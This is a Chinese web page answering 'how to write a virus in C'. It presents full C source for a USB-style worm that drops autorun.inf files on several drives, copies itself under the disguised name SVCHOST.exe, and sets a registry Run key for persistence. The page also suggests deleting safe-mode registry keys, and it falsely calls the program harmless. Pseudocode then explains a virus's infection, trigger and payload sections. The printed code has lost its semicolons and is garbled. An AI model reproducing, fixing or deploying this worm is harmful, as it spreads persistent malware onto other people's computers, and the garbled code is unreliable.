如何用C语言写病毒?

Python09

如何用C语言写病毒?,第1张

在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.本病毒的功能:1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件2.在C、D、E盘中生成自动运行文件3.注册c:\windows\system\svchost.exe,使其开机自动运行4.在C:\windows\system下生成隐蔽DLL文件5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究/* SVCHOST.C *//* SVCHOST.EXE */#define SVCHOST_NUM 6#include<stdio.h>#include<string.h>char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"}char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"}char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe","c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"}char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f"int copy(char *infile,char *outfile){FILE *input,*output char temp if(strcmp(infile,outfile)!=0 &&((input=fopen(infile,"rb"))!=NULL) &&((output=fopen(outfile,"wb"))!=NULL)){ while(!feof(input)) {fread(&temp,1,1,input) fwrite(&temp,1,1,output) } fclose(input) fclose(output) return 0 }else return 1}int main(void){FILE *input,*output int i,k for(i=0i<3i++){ output=fopen(files_autorun[i],"w") fprintf(output,"%s",autorun) fclose(output) }for(i=0i<=SVCHOST_NUMi++){ if((input=fopen(files_svchost[i],"rb"))!=NULL) {fclose(input) for(k=0k<SVCHOST_NUMk++){ copy(files_svchost[i],files_svchost[k]) }i=SVCHOST_NUM+1 }}system(regadd)/* 注册SVCHOST.exe,让其在启动时运行 */ return 0} 如果你想来狠点把安全模式的注册表项也删除了.让它进不了安全模式警告:不会修改注册表的人别运行本程序...

要编制一个病毒,首先要知道病毒的运行机理。

不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷

在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本

原因。我们可以用一段类C伪码来表示这个过程。

InfectSection()

{

if (infectable_object_found

&&object_not_already_infect)

infect_object

}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.

一个简单的触发机制可能是这样工作的:

TriggerSection()

{

if (date_is_Friday_13th_and_time_is_03:13:13)

set_trigger_status_to_yes

}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:

Executesection()

{

if (trigger_statue_is_yes)

execute_payload

}

C语言当然可以编写病毒,事实上很多程序都是用C/C++编写出来的。\x0d\x0a编程语言本身没有“贵贱”之分,只用用好了,都是相当强的;区别在于主要适用范围、编写的难易程序、执行效率的高低、学习的难易程度,等等。\x0d\x0aC语言只是一种计算机程序的编写格式规范,到至于可以编写出来什么样的程序,还要看你所用的C语言编译器,(比如TC,VC,LCC,GCC等,太多了)。\x0d\x0a如果有编写windows程序,就不能用TC,它只能编写DOS程序,而应该用VC,LCC,C++Builder等编译工具)\x0d\x0a编写出来的程序肯定要调用操作系统提供的功能,如编windows程序,就要调用Win32 API,Dos程序则调用的是DOS中断,编程实际上就是对这些操作系统所提供功能的调用。\x0d\x0a现在的病毒很多都是用常用的编程工具编写的,如VC++,delph,VC,Win32汇编等